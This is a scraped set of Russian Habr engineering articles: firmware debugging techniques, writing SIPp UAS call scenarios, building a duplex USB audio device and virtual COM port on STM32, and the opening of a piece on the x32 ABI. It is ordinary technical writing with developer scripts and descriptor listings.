Мы посмотрели два способа применения изменений на сервере в режимах Push и Pull. Прошлись по особенностям использования и постарались объяснить все нюансы, которые могут возникнуть при работе с этими режимами в DSC. Если у вас остались вопросы – давайте обсуждать в комментариях. А если не хватило наглядности – приходите к нам на онлайн-митап 28 мая: разберем системы объединенных коммуникаций и средства связи (настройка выгрузки логов Exchange в Elastic, Microsoft Endpoint Manager в управлении iOS, Android и Windows 10) и более подробно поговорим про границы применимости PowerShell Desired State Configuration. [Нужно только зарегистрироваться](https://raiffeisen-events.timepad.ru/event/1311228/). | https://habr.com/ru/post/503672/ | null | ru | null |
# 12 Способов Отладки и Диагностики FirmWare
В этом тексте перечислены основные способы отлаживать и диагностировать проекты на микроконтроллерах. Для аналогии буду каждому методу отладки метафорично приводить в соответствие аналогию из медицины
**1–\*HeartBeat LED (Стетоскоп)**
Самое важное. Каждое электронное устройство должно иметь хотя бы один светодиод (LED) для того, чтобы пользователь, инженер или техник мог понять, что встроенное firmware вообще вертится и исполняется, а не зависло. HeartBeat LED это своего рода Smoke Test. Если LED не мигает, то тут дальше и говорить не о чем. Сразу очевидно, что прошивка либо не стартовала, либо и вовсе зависла. В случае немигающего LEDа надо подкатывать тяжелую артиллерию. Также желательно ставить отдельно красный LED для индикации ошибки в софте или железе.
HeartBeat LED обычно ставят мигать с частотой 1Hz и, если это в самом деле так, то можно тут же дать гарантию, что тракт подсистемы тактирования тоже корректно настроен.
В общем, господа, делайте всегда **HeartBeat** LED.
**2– Пошаговая отладка GDB через SWD/JTAG (или Хирургическое вмешательство c наркозом)**
В микроконтроллерах есть специальные прерывания, которые позволяют программе останавливаться на заданном адресе (аналогия с анабиозом), который binutils(ами) конвертируется в строку кода в сорцах. Чтобы этим воспользоваться нужно запустить GDB сервер отладки и GDB клиент. Можно остановить программу на конкретной строчке кода.
Однако пошаговая отладка плоха тем, что она нарушает таймингами Real Time программы. Стоит поставить одну единственную точку останова и вы уже отлаживаете совершенно не ту программу, которую писали.
**13--Утилита arm-none-eabi-addr2line.exe**
Если вы поймали **HardFault** и удалось извлечь значение регистров PC и LR, то можно определить на какой строчке упала прошивка выполнив преобразование адреса в номер строки. Вот такой скрипт
```
echo off
cls
set ELF_FILE=C:/ncs/v2.1.0/nrf/applications/nrf5340_audio/build/gateway_app/zephyr/zephyr.elf
set ADDR2LINE="C:\Program Files (x86)\GNU Arm Embedded Toolchain\10 2021.10\bin\arm-none-eabi-addr2line.exe"
%ADDR2LINE% -e %ELF_FILE% 0x000054cd
%ADDR2LINE% -e %ELF_FILE% 0x0000857e
```
**9– Функции Assert (или ПЦР тест)**
Это просто функции, которые выстреливают, когда их аргумент равен нулю.
Есть свой assert на каждую фазу сборки проекта: makeAssert->preprocAssert->staticAssert-> DynamicAssert. StaticAssert отрабатывает на этапе компиляции. Например, что конфиги валидные. DynamicAssert отрабатывает на этапе исполнения. Можно еще расставить как капканы preprocAssert и даже makeAssert, если вы собираете сборку из makefile(ов).
Если сработал DynamicAssert, то можно подключить GDB отладчик и поставить точку останова внутри DynamicAssert. Далее просмотреть стек вызовов и определить причину осечки. В общем пользуйтесь функциями категории assert по-полной.
**3– \*CLI(шка) (Command Line Interface) (или Компьютерная томография)**
А вот **CLI** это как раз **самый мощный** способ отладки прошивок. Как правило CLI терминал это **полнодуплексный** текстовый интерфейс поверх UART. CLI как способ человеку общаться с прошивкой через понятый обоим сторонам **текстовый** интерфейс. При этом нужно всего 3 провода (Rx, Tx и GND) и поддержка в коде прошивки. По факту раз запустив CLI и GDB вам уже больше не понадобится. Далее отладка будет только через CLI. Далее вы ограничены одной только своей фантазией в том какие CLI команды добавить в сборку. Можно по команде вычитывать любую память. Можно запускать функции по их адресу в физической памяти. Можно просматривать значения счетчиков, можно пулять пакеты в интерфейсы I2C, SPI, UART. Можно добавить интерпретаторы аппаратных регистров таймеров. Да что угодно.
Важно, чтобы CLI была не просто простыней унылого текста как в NanoVNA V2. В хорошей CLI должно быть: эхо, энергонезависимая **история** введенных команд, help, TAB-**автонабор**, авторизация, аутентификация, поддержка **цветов**, отрисовка **таблиц**. Это **минимальный** джентельменский набор взрослой CLI.
Чтобы ошибки отображались красным текстом, предупреждения желтым текстом. Чтобы печатались **таблицы** для GPIO пинов и каналов ADC.
Также надо различать такие понятия как логирование и CLIшка. При обычном беспонтовом логировании микроконтроллер тупо и отчаянно шлет текст на улицу (в UART). В случае с CLI пользователь может даже сам асинхронно отправить текст в микроконтроллер со стороны улицы. Должна быть установка и отключение логирования для конкретных программных компонентов (например для SPI или ADC), чтобы не было ниагарского водопада из логов, парализующего работу всей прошивки и всякое взаимодействие с программой. CLI не обязательно делать в UART. Подойдет и TCP/UDP, LoRa, BLE-SPP. Просто правда в том, что UART прост как палка и стартует почти сразу после reset(а). Раньше прочих навороченных интерфейсов как TCP стек, а значит и отладить по UART можно будет практически **всё**.
Причем логировать можно и в **RAM** память, а отобразить накопившийся лог в UART только после того как проинициализируется подсистема UART (функция flush). Поэтому писать логи можно даже для инициализации подсистемы тактирования, которая отрабатывает до запуска аппаратных драйверов. Достоинство CLI в том, что CLI не нарушает таймингов в той мере, как это делает пошаговая отладка по JTAG/SWD. Вы отлаживаете прошивку "без наркоза". С CLI(шкой) у вас будет **тотальный** контроль над софтом и железом. Попробуйте запилить CLI и вы сами увидите как вам понравится такая отладка.
**4– GPIO и осциллограф (Кардиограмма)**
В прошивках есть очень быстрые RealTime процессы, которые надо измерять. Как это сделать? А вот так... Можно выставлять напряжение на свободных GPIO пинах и далее смотреть их на экране осциллоскопа. Главное чтобы осциллограф был цифровой так как нужны функции захвата перепадов напряжения. Плюс нужно минимум 2 канала для отладки чего либо нетривиального. Также крайне важно, чтобы осциллограф не гудел как пылесос, иначе не будет никакого желания вообще включать такой оссцилл.
**5– GPIO и логический анализатор (Электроэнцефалография)**
Более предпочтительным вариантом осциллографу является логический анализатор. У логического анализатора больше каналов (8..16 каналов). Можно анализировать сразу целые много проводные шины (MII, I2S, SDIO). Есть очень хороший логический анализатор **Saleae**. Подключается к PC по USB 3.0. В отличие от осциллографов логический анализатор абсолютно бесшумный, что позволяет сосредоточится на анализе. Анализ графиков делается прямо на мониторе. Софт рассчитывает периоды, частоты скважность на лету. Также у Saleae очень удобные **цепляши**.
**\*6– DAC (Цифро-Аналоговый Преобразователь) (или микроскоп)**
Когда GPIO не хватает, то можно выставлять **аналоговое** напряжение на одном DAC пине и тоже смотреть осциллографом с достаточным разрешением. В большинстве адекватных MCU(шек) всегда есть встроенный 10...12бит ЦАП для таких случаев. Очень удобно при отладке планировщиков многопоточных прошивок. По **ступеням** напряжения на выходе ЦАП можно определить реальный приоритет потоков.
**7– Логирование на дисплей (Глюкометр)**
В принципе, если есть достаточно пинов, то для автономности отладки можно поставить какой-нибудь дисплей и отображать на нем важные метрики софта. Получится устройство **тамагочи**, которое само все про себя расскажет своему хозяину. Советую смотреть в сторону OLED экранов так как у OLED светятся символы, а не фон. Выглядит футуристично и очень приятно читать.
**8– Модульные тесты (скрепы)**
Часто возникает ситуация когда есть большой кусок кода и нет возможности пройти этот код отладчиком. Например времени мало. В этом случае можно просто покрыть этот код тестами. Также тесты позволят без опаски совершать перестройку софта. Тесты будут стимулировать вас писать более модульный и **качественный** код.
**10– STMStudio (Электроэнцефалография)**
У ST есть хипстерская Tool(а), которая позволяет по SWD/JTAG следить за конкретными переменными в физической памяти (REG, RAM, ROM) микроконтроллера.
Просто скармливаешь STMStudio \*.map файл и подключаешь по SWD Target. Причем эта Tool(а) позволяет строить **графики** по значениями переменных в памяти. Это как утилита **ArtMoney** в случае с взломом компьютерных игр на PC, только для микроконтроллера. STMStudio мега удобна при отладке систем автоматического управления (ПИД ругуляторы), цифровых фильтров, триггеров Шмитта и прочей DSP обработки. Меняя значения переменных можно даже управлять поведением прошивки!
Все бы вендоры микроконтроллеров выпускали бы такие шедевральные утилиты для своих чипов как STMStudio для STM32 микроконтроллеров.
**11– Логирование в SD карту (Черный ящик)**
UART это весьма медленный интерфейс. Максимум 1 МBit/s. Поэтому отладка логированием в UART всё же немного, но нарушает тайминги, а значит и логику работы устройства. Если быстродействие гаджета критично, а логи тоже очень нужны, то логи можно записывать в какие-нибудь число хранилище. Например SD карту или OffChip SPI-NorFlash на несколько мегабайт. Там 25MHz это норма. Однако придется собрать файловую систему (например FatFs) на SD карте, чтобы потом можно было писать в настоящие файлы и читать их на LapTop. Затем в период Idle выгрузить логи в тот же самый UART или TCP/UDP. Easy.
**12– Health Monitor (Мед брат)**
Health Monitor (HM) просто поток или отдельная периодическая функция, которая только лишь регулярно проверяет критические параметры прошивки. Своего рода периодические модульные тесты. HM проверяет, например, что UART и CLI не упала. Что есть всяческие Link(и) c I2C, SPI чипами. Что напряжение не просело. Плюс Health Monitor(а) в том, что если что-то внезапно рухнет (например от заряженной частицы из космоса), то прошивка об этом узнает сразу и что-нибудь да предпримет. Health Monitor обладает **правами** выполнить какой-то мелкий **ремонт**: переинициализировать отдельный компонент, что-нибудь починить или и вовсе Reset(нуть) гаджет.
**Вывод**
Как видите во встраиваемом софте есть целая куча способов отлаживать код и железо. Конечно тут не все зависит только от программиста. Некоторые опции отладки требуют и от разработчика HardWare некоторых предварительных телодвижений (добавить LED(ы), UART, TestPad(ы), Flash, SWD разъем). Что вы возьмете на вооружение решать вам. Мне же для отладки в 99% случаев хватает Assert, LED, CLI, HM, uTests.
Если вам известны еще оригинальные способы отлаживать Embedded Software/Firmware, то пишите их в комментарии. | https://habr.com/ru/post/681280/ | null | ru | null |
# Написание и запуск сценариев SIPP. Часть 2.UAS сценарии
В прошлой статье я рассмотрел базовый сценарий UAC клиента, но зачастую в процессе обучение или тестирование необходимо смоделировать ситуацию в которой sipp будет выступать в качестве вызываемого абонента.
Передо мной стояла задача - узнать что будет слышать вызывающий абонент при отстуствии сообщения 180 ringing.
Как и в прошлой статье я буду целиком и полностью ссылаться [на официальную документацию](http://sipp.sourceforge.net/doc/reference.html).
Написание сценария
------------------
Т.к. я уже обозначил задачу давайте схематично изобразим процесс обмена сообщениями между устройствами. В качестве вызывающего абонента А я использую SIP телефон.
```
A SIPP
----------> INVITE
<---------- 100
[5000ms] Pause
<---------- 200
----------> ACK
----------> BYE
<---------- 200
[4000ms] Pause
```
Если Вы читали мою [предыдущую статью](https://habr.com/ru/post/648293/), то думаю уже знакомы с синтаксисом сценариев и понимание кода не вызовет у Вас затруднений.
Первый шаг одинаков для каждого сценария: создаем файл uas\_no180.xml, в заголовке прописываем:
```
?xml version="1.0" encoding="ISO-8859-1" ?>
```
Далее опираясь на схему ожидаем получение сообщения INVITE от пользователя А
```
```
На полученный запрос INVITE sipp отвечает сообщением 100 TRYING, командой pause заменяем отсутсвующее сообщение 180Ringing.
```
SIP/2.0 100 Trying
[last\_Via:]
[last\_From:]
[last\_To:];tag=[call\_number]
[last\_Call-ID:]
[last\_CSeq:]
Contact: <sip:[local\_ip]:[local\_port];transport=[transport]>
Content-Length:0
```
После паузы отправляем ответ 200OK в тело сообщения добавляем протокол SDP с описанием сессии.
```
SIP/2.0 200 OK
[last\_Via:]
[last\_From:]
[last\_To:];tag=[pid]SIPpTag01[call\_number]
[last\_Call-ID:]
[last\_CSeq:]
Contact: <sip:[local\_ip]:[local\_port];transport=[transport]>
Content-Type: application/sdp
Content-Length: [len]
v=0
o=user1 53655765 2353687637 IN IP[local\_ip\_type] [local\_ip]
s=-
c=IN IP[media\_ip\_type] [media\_ip]
t=0 0
m=audio [media\_port] RTP/AVP 0
a=rtpmap:0 PCMU/8000
```
На ответ 200ОК ожидаем получения ACK. После разговора ожидаем запроса BYE, отвечаем на него сообщением 200OK и заканчиваем скрипт типовыми тегами.
```
SIP/2.0 200 OK
[last\_Via:]
[last\_From:]
[last\_To:]
[last\_Call-ID:]
[last\_CSeq:]
Contact: <sip:[local\_ip]:[local\_port];transport=[transport]>
```
Создание диалплана
------------------
Т.к. мы будем устанавливать соединение между sipp и телефоном необходимо прописать соответствующий диалплан. Я использую SIP телефон и в соответствующем подразделе "План нумерации" добавляю номер для sipp.
```
S4, L8 (4xxxx | 111@192.168.1.23:5071)
```
В моем случае к уже существующему правилу я добавляю номер, при наборе которого будет вызван абонент с ip адресом 192.168.1.23:5071, это и есть адрес устройства на котором запущен sipp.
Вы также можете задать диалплан в своем софтфоне.
Запуск сценария
---------------
Последним шагом остается лишь запуск сценария с соответсвующими ключами.
```
sudo sipp 192.168.1.23 -sf uas_no180.xml -p 5071
```
Данное окно и будем говорить нам об успешном запуске. Набирая номер 111 произведем звонок. Скрипт отрабатывает так, как это было задумано и позволяет нам наглядно рассмотреть ситуацию в которой сообщение 180Ringing не было получено или отправлено.
Для более наглядного теста uas сценариев можно использовать ключ -rtp\_echo
```
sudo sipp 192.168.1.23 -sf uas_no180.xml -p 5071 -rtp_echo
```
Он позволит sipp ретранслировать полученные rtp пакеты, тем самым позволяя Вам оценить качество звука и наличие потерь и задержек с точки зрения потребителя.
Надеюсь рассмотрение такого простенького uas сценария поможет в дальнейшем изучении sipp.
---
[Ссылка на первую часть](https://habr.com/ru/post/648293/)
[SIPp reference documentation](http://sipp.sourceforge.net/doc/reference.html)
[Репозиторий с большим количеством uas и uac сценариев](https://github.com/saghul/sipp-scenarios) | https://habr.com/ru/post/648693/ | null | ru | null |
# Составное устройство USB на STM32. Часть 3: Звуковое устройство отдельно, виртуальный СОМ-порт отдельно
В третьей части публикации о составном устройстве *USB* я расскажу о том, как переделать сгенерированный в *STM32CubeMX* *USB Audio Speaker*, описанный во второй части публикации, в дуплексное звуковое устройство.
Затем мы создадим в *STM32CubeMX* драйвер виртуального *COM*-порта.
Зачем мы всё это делаем, подробно описано в первой части публикации.
Ссылки на первую и вторую части публикации:
* [Составное устройство USB на STM32. Часть 1: Предпосылки](https://habr.com/ru/post/532038/)
* [Составное устройство USB на STM32. Часть 2: USB Audio Speaker](https://habr.com/ru/post/532080/)
Исходные коды публикуемой реализации составного устройства USB, состоящего из виртуального COM-порта и дуплексной звуковой карты находятся [здесь](http://github.com/dmitrii-rudnev/selenite-habr).
Доработка дескриптора
=====================
Дорабатываемый дескриптор размещается *STM32CubeMX* в файле *usbd\_audio.c*. В работе использовались документы [[2](https://www.usb.org/sites/default/files/BasicAudioDevice-10.zip)] и [[3](https://www.usb.org/sites/default/files/audio10.pdf)].
Обилие в сгенерированном дескрипторе макросов, заданных в файле usbd\_audio.h, на мой взгляд, затрудняет работу с ним. Поэтому я заменил большую часть макросов на шестнадцатеричные значения, чтобы части дескриптора выглядели подобно их описанию в таблицах из [[2](https://www.usb.org/sites/default/files/BasicAudioDevice-10.zip)] и [[3](https://www.usb.org/sites/default/files/audio10.pdf)], а также как в листинге, сгенерированном утилитой [*Thesycon USB Descriptor Dumper*](https://www.thesycon.de/eng/usb_descriptordumper.shtml).
Однако, для удобства конфигурирования отдельные макросы пришлось оставить, а также добавить несколько новых:
```
// Размер дескриптора конфигурации
#define USB_AUDIO_CONFIG_DESC_SIZ 192U
// Номера интерфейсов
#define AUDIO_CTRL_IF 0x00U
#define AUDIO_OUT_IF 0x01U
#define AUDIO_IN_IF 0x02U
// Номера конечных точек (EP)
#define AUDIO_OUT_EP 0x01U
#define AUDIO_IN_EP 0x81U
// Размер пакета и размер циклического буфера
#define AUDIO_OUT_PACKET_NUM 4U // 80U
#define USBD_AUDIO_FREQ 48000U
#define AUDIO_OUT_PACKET (uint16_t)(((USBD_AUDIO_FREQ * 2U * 2U) / 1000U))
#define AUDIO_TOTAL_BUF_SIZE (uint16_t)(AUDIO_OUT_PACKET * AUDIO_OUT_PACKET_NUM))
```
Хотел бы заострить внимание на том, что размеры циклических буферов трактов записи и воспроизведения определяются значением *AUDIO\_OUT\_PACKET\_NUM*. Для стабильной работы драйвера достаточно использовать буферы размером *4 пакета*, в то время как размер по умолчанию равен *80 пакетам*.
Доработанный дескриптор описывает дуплексное звуковое устройство *USB* со структурой, приведённой на рисунке ниже:
Устройства *ID2* и *ID5* (*Feature Unit*) оставлены в структуре звукового устройства «*на вырост*». Управление ими осуществляется через *Class-Specific Requests*. При обработке этих запросов драйвер звукового устройства должен передавать оконечному устройству набор команд для управления уровнями громкости, настройками эквалайзера, звукового процессора и т.п. В доработанном дескрипторе набор этот состоит пока из одной только команды – *MUTE*.
**Посмотреть листинг доработанного дескриптора**
```
Information for device STM32 Audio Class (VID=0x0483 PID=0x5740):
Connection Information:
------------------------------
Device current bus speed: FullSpeed
Device supports USB 1.1 specification
Device supports USB 2.0 specification
Device address: 0x0008
Current configuration value: 0x01
Number of open pipes: 0
Device Descriptor:
------------------------------
0x12 bLength
0x01 bDescriptorType
0x0201 bcdUSB
0x00 bDeviceClass
0x00 bDeviceSubClass
0x00 bDeviceProtocol
0x40 bMaxPacketSize0 (64 bytes)
0x0483 idVendor
0x5740 idProduct
0x0200 bcdDevice
0x01 iManufacturer "STMicroelectronics"
0x02 iProduct "STM32 Audio Class"
0x03 iSerialNumber "317C33753434"
0x01 bNumConfigurations
Configuration Descriptor:
------------------------------
0x09 bLength
0x02 bDescriptorType
0x00C0 wTotalLength (192 bytes)
0x03 bNumInterfaces
0x01 bConfigurationValue
0x00 iConfiguration
0xC0 bmAttributes (Self-powered Device)
0xFA bMaxPower (500 mA)
Interface Descriptor:
------------------------------
0x09 bLength
0x04 bDescriptorType
0x00 bInterfaceNumber
0x00 bAlternateSetting
0x00 bNumEndPoints
0x01 bInterfaceClass (Audio Device Class)
0x01 bInterfaceSubClass (Audio Control Interface)
0x00 bInterfaceProtocol
0x00 iInterface
AC Interface Header Descriptor:
------------------------------
0x0A bLength
0x24 bDescriptorType
0x01 bDescriptorSubtype
0x0100 bcdADC
0x0046 wTotalLength (70 bytes)
0x02 bInCollection
0x01 baInterfaceNr(1)
0x02 baInterfaceNr(2)
AC Input Terminal Descriptor:
------------------------------
0x0C bLength
0x24 bDescriptorType
0x02 bDescriptorSubtype
0x01 bTerminalID
0x0101 wTerminalType (USB Streaming)
0x00 bAssocTerminal
0x02 bNrChannels (2 channels)
0x0003 wChannelConfig
0x00 iChannelNames
0x00 iTerminal
AC Feature Unit Descriptor:
------------------------------
0x09 bLength
0x24 bDescriptorType
0x06 bDescriptorSubtype
0x02 bUnitID
0x01 bSourceID
0x01 bControlSize
bmaControls:
0x01 Channel(0)
0x00 Channel(1)
0x00 iFeature
AC Output Terminal Descriptor:
------------------------------
0x09 bLength
0x24 bDescriptorType
0x03 bDescriptorSubtype
0x03 bTerminalID
0x0301 wTerminalType (Speaker)
0x00 bAssocTerminal
0x02 bSourceID
0x00 iTerminal
AC Input Terminal Descriptor:
------------------------------
0x0C bLength
0x24 bDescriptorType
0x02 bDescriptorSubtype
0x04 bTerminalID
0x0200 wTerminalType (Input Undefined)
0x00 bAssocTerminal
0x02 bNrChannels (2 channels)
0x0003 wChannelConfig
0x00 iChannelNames
0x00 iTerminal
AC Feature Unit Descriptor:
------------------------------
0x09 bLength
0x24 bDescriptorType
0x06 bDescriptorSubtype
0x05 bUnitID
0x04 bSourceID
0x01 bControlSize
bmaControls:
0x01 Channel(0)
0x00 Channel(1)
0x00 iFeature
AC Output Terminal Descriptor:
------------------------------
0x09 bLength
0x24 bDescriptorType
0x03 bDescriptorSubtype
0x06 bTerminalID
0x0101 wTerminalType (USB Streaming)
0x00 bAssocTerminal
0x05 bSourceID
0x00 iTerminal
Interface Descriptor:
------------------------------
0x09 bLength
0x04 bDescriptorType
0x01 bInterfaceNumber
0x00 bAlternateSetting
0x00 bNumEndPoints
0x01 bInterfaceClass (Audio Device Class)
0x02 bInterfaceSubClass (Audio Streaming Interface)
0x00 bInterfaceProtocol
0x00 iInterface
Interface Descriptor:
------------------------------
0x09 bLength
0x04 bDescriptorType
0x01 bInterfaceNumber
0x01 bAlternateSetting
0x01 bNumEndPoints
0x01 bInterfaceClass (Audio Device Class)
0x02 bInterfaceSubClass (Audio Streaming Interface)
0x00 bInterfaceProtocol
0x00 iInterface
AS Interface Descriptor:
------------------------------
0x07 bLength
0x24 bDescriptorType
0x01 bDescriptorSubtype
0x01 bTerminalLink
0x01 bDelay
0x0001 wFormatTag (PCM)
AS Format Type 1 Descriptor:
------------------------------
0x0B bLength
0x24 bDescriptorType
0x02 bDescriptorSubtype
0x01 bFormatType (FORMAT_TYPE_1)
0x02 bNrChannels (2 channels)
0x02 bSubframeSize
0x10 bBitResolution (16 bits per sample)
0x01 bSamFreqType (Discrete sampling frequencies)
0x00BB80 tSamFreq(1) (48000 Hz)
Endpoint Descriptor (Audio/MIDI 1.0):
------------------------------
0x09 bLength
0x05 bDescriptorType
0x01 bEndpointAddress (OUT endpoint 1)
0x01 bmAttributes (Transfer: Isochronous / Synch: None / Usage: Data)
0x00C0 wMaxPacketSize (1 x 192 bytes)
0x01 bInterval (1 frames)
0x00 bRefresh
0x00 bSynchAddress
AS Isochronous Data Endpoint Descriptor:
------------------------------
0x07 bLength
0x25 bDescriptorType
0x01 bDescriptorSubtype
0x00 bmAttributes
0x00 bLockDelayUnits (undefined)
0x0000 wLockDelay
Interface Descriptor:
------------------------------
0x09 bLength
0x04 bDescriptorType
0x02 bInterfaceNumber
0x00 bAlternateSetting
0x00 bNumEndPoints
0x01 bInterfaceClass (Audio Device Class)
0x02 bInterfaceSubClass (Audio Streaming Interface)
0x00 bInterfaceProtocol
0x00 iInterface
Interface Descriptor:
------------------------------
0x09 bLength
0x04 bDescriptorType
0x02 bInterfaceNumber
0x01 bAlternateSetting
0x01 bNumEndPoints
0x01 bInterfaceClass (Audio Device Class)
0x02 bInterfaceSubClass (Audio Streaming Interface)
0x00 bInterfaceProtocol
0x00 iInterface
AS Interface Descriptor:
------------------------------
0x07 bLength
0x24 bDescriptorType
0x01 bDescriptorSubtype
0x06 bTerminalLink
0x01 bDelay
0x0001 wFormatTag (PCM)
AS Format Type 1 Descriptor:
------------------------------
0x0B bLength
0x24 bDescriptorType
0x02 bDescriptorSubtype
0x01 bFormatType (FORMAT_TYPE_1)
0x02 bNrChannels (2 channels)
0x02 bSubframeSize
0x10 bBitResolution (16 bits per sample)
0x01 bSamFreqType (Discrete sampling frequencies)
0x00BB80 tSamFreq(1) (48000 Hz)
Endpoint Descriptor (Audio/MIDI 1.0):
------------------------------
0x09 bLength
0x05 bDescriptorType
0x81 bEndpointAddress (IN endpoint 1)
0x01 bmAttributes (Transfer: Isochronous / Synch: None / Usage: Data)
0x00C0 wMaxPacketSize (1 x 192 bytes)
0x01 bInterval (1 frames)
0x00 bRefresh
0x00 bSynchAddress
AS Isochronous Data Endpoint Descriptor:
------------------------------
0x07 bLength
0x25 bDescriptorType
0x01 bDescriptorSubtype
0x00 bmAttributes
0x00 bLockDelayUnits (undefined)
0x0000 wLockDelay
Microsoft OS Descriptor is not available. Error code: 0x0000001F
String Descriptor Table
--------------------------------
Index LANGID String
0x00 0x0000 0x0409
0x01 0x0409 "STMicroelectronics"
0x02 0x0409 "STM32 Audio Class"
0x03 0x0409 "317C33753434"
------------------------------
Connection path for device:
xHCI-??????????? ????-?????????? USB
Root Hub
STM32 Audio Class (VID=0x0483 PID=0x5740) Port: 2
Running on: Windows 10 or greater
Brought to you by TDD v2.11.0, Mar 26 2018, 09:54:50
```
Доработка драйвера звукового устройства USB
===========================================
При доработке драйвера в структуру звукового устройства был добавлен циклический буфер тракта записи, а состав команд, передаваемых пользовательскому интерфейсу, расширен командами *AUDIO\_CMD\_STOP* и *AUDIO\_CMD\_RECORD*.
Тракт записи дуплексного звукового устройства *USB* начинает работу при установке интерфейса *AUDIO\_IN\_IF* в состояние *Alternate Setting 1,* после чего драйвер ожидает событие *SOF*, во время обработки которого формирует команду *AUDIO\_CMD\_RECORD*, по которой заполняет половину буфера тракта записи пакетами из буфера *DSP*. Далее эти пакеты передаются из циклического буфера тракта записи вовне через конечную точку *AUDIO\_IN\_EP*.
После того, как тракт записи был запущен, команда *AUDIO\_CMD\_RECORD* формируется драйвером после окончания передачи каждой половины циклического буфера тракта записи.
Особенностью использования конечной точки *AUDIO\_IN\_EP* драйвером звукового устройства является необходимость запуска *USBD\_LL\_FlushEP(pdev, AUDIO\_IN\_EP)* для очистки буфера конечной точки после окончания передачи каждого пакета.
Тракт воспроизведения дуплексного звукового устройства *USB* включается при установке интерфейса *AUDIO\_OUT\_IF* в состояние *Alternate Setting 1*. Команда *AUDIO\_CMD\_PLAY* формируется драйвером звукового устройства по событию заполнения каждой половины циклического буфера тракта воспроизведения, после чего эти пакеты передаются в буфер *DSP*.
Команда *AUDIO\_CMD\_STOP* формируется драйвером при установке интерфейса *AUDIO\_OUT\_IF* в состояние *Alternate Setting 0*, после чего *DSP* включает в тракте воспроизведения режим тишины.
Синхронизация потоков данных доработанным драйвером не производится, поэтому функция *USBD\_AUDIO\_Sync* не производит никаких действий и оставлена в составе драйвера только для совместимости.
Проверка работоспособности драйвера дуплексного звукового устройства USB
========================================================================
При генерации драйвера виртуального *COM*-порта *STM32CubeMX* удалит из проекта файлы драйвера звукового устройства. Поэтому переносим *usbd\_audio.c* и *usbd\_audio\_if.c* в папку *Core/Scr*, а *usbd\_audio.h* и *usbd\_audio\_if.h* – в *Core/Inc*.
Пересобираем проект, перепрошиваем устройство. Подключаем устройство к компьютеру, включаем тракт записи через панель управления звуком. Назначаем тракты воспроизведения и записи дуплексного звукового устройства *USB* устройствами по умолчанию.
Для демонстрации работоспособности драйвера звукового устройства *USB* данные с выхода тракта воспроизведения поступают на вход тракта записи через шлейф, организованный в буфере *DSP* (см. файл *dsp\_if.c*). Программная реализация шлейфа выбрана, чтобы не подключать к отладочной плате никаких дополнительных устройств и не синхронизировать никакие потоки.
Включаем в панели управления звуком для тракта записи нашего устройства прослушивание через звуковую карту компьютера. Убеждаемся в работоспособности драйвера дуплексного звукового устройства *USB*.
Создаём Communication Device Class
==================================
Приступаем к созданию виртуального *COM*-порта, для чего переходим в раздел *«Middleware»* и выбираем *IP «Commucation Device Class»*. Задаём максимальное количество интерфейсов равное *пяти*. Размер буферов задаём равным *64 Bytes*.
Интерфейсов *пять*, т.к. в составе дуплексного звукового устройства их *три*, а в составе виртуального *COM*-порта – *два*.
Сохраняем проект. Генерируем код. Смотрим, что получилось в результате.
Разбираем работу устройства
===========================
Файлы сгенерированного в *STM32CubeMX* драйвера виртуального *COM*-порта расположены в папках *Middlewares/ST/Class/CDC* и *USB\_DEVICE*.
Функции, с помощью которых драйвер виртуального *COM*-порта взаимодействует со своим оконечным оборудованием, содержатся в файле *usbd\_cdc\_if.c*.
Во время инициализации устройства функция *CDC\_Init\_FS* задаёт настройки буферов трактов приёма и передачи.
При получении команд управления драйвер виртуального *COM*-порта запускает функцию *CDC\_Control\_FS*. Список команд управления приводится на стр.19 документа:
[4] [Universal Serial Bus Communications Class Subclass Specification for PSTN Devices, Revision 1.2, February 9, 2007](https://usb.org/sites/default/files/CDC1.2_WMC1.1_012011.zip)
В описании функции следует обратить внимание на структуру переменных типа *USBD\_CDC\_LineCodingTypeDef*, объявленного в *usbd\_cdc.h*. При дальнейшем использовании драйвера мы можем с помощью переменной такого типа жёстко задать параметры *COM*-порта, которые он передаёт вовне по запросу.
Функция *CDC\_Receive\_FS* запускается по событию получения данных по виртуальному *COM*-порту.
Для передачи данных по виртуальному *COM*-порту используется функция *CDC\_Transmit\_FS*.
Проверка работоспособности драйвера виртуального *COM*-порта
============================================================
Виртуальный *COM*-порт начинает работать прямо *«из коробки»*. Для контроля работоспособности организуем функцию *«эха»*.
Открываем в папке *USB\_DEVICE\App* файл *usbd\_cdc\_if.c* и добавляем в функцию *CDC\_Receive\_FS* шлейф, как показано ниже:
```
static int8_t CDC_Receive_FS(uint8_t* Buf, uint32_t *Len)
{
/* USER CODE BEGIN 6 */
CDC_Transmit_FS (Buf, *Len); //++++++
USBD_CDC_SetRxBuffer(&hUsbDeviceFS, &Buf[0]);
USBD_CDC_ReceivePacket(&hUsbDeviceFS);
return (USBD_OK);
/* USER CODE END 6 */
}
```
Собираем проект, прошиваем устройство. Подключаем устройство к компьютеру, обнаруживаем новый COM-порт, при необходимости устанавливаем на компьютер драйверы.
Подключаемся к новому COM-порту любой терминальной программой. Передаём данные, принимаем *«эхо»*. Убеждаемся в работоспособности драйвера виртуального *COM*-порта.
#### От автора
В следующей части публикации мы объединим виртуальный *COM*-порт и дуплексное звуковое устройство в составное устройство *USB* и разберём несколько не совсем очевидных нюансов этого объединения.
Читайте продолжение:
[Составное устройство USB на STM32. Часть 4: Два-в-одном](https://habr.com/ru/post/543684/)
Больше информации в моём [телеграм-канале «Проект Селенит»](https://telegram.me/selenite_pro) | https://habr.com/ru/post/533588/ | null | ru | null |
# Развенчание мифов об x32 ABI
Наверное, некоторые из вас слышали о халяве под названием [x32 ABI](http://ru.wikipedia.org/wiki/X32_ABI).
#### Вкратце о x32 ABI
Если вкратце, то это возможность использовать все преимущества 64-битной архитектуры, но при этом сохраняя 32-битные указатели. Потенциально при этом приложение будет расходовать меньше памяти, хоть и не сможет адресовать более 4 ГиБ памяти.
**Пример.** В своём коде вы определяете массив целых чисел и заполняете его значениями. Сколько при этом вы расходуете памяти? Если очень грубо изобразить, то получится примерно так:
32 бита: Указатель + Счётчик числа элементов + N целых чисел = N+2 32-битных числа
64 бита: Указатель + Счётчик числа элементов + N целых чисел = N+2 64-битных числа = 2N+4 32-битных числа
Вот инженеры и задумались: а что если попробовать использовать 32-битные указатели на 64-битной архитектуре? Архитектура X86-64 имеет [систему команд CISC](http://ru.wikipedia.org/wiki/CISC) и позволяет это сделать. В этом случае наш массив выше будет расходовать памяти 2N+3 вместо 2N+4. Экономия конечно же незначительная, но дело в том, что в современном коде количество разного рода указателей в структурах нередко доходит до десятка, и использование коротких указателей потенциально позволит экономить до 50% памяти (в идеальном случае).
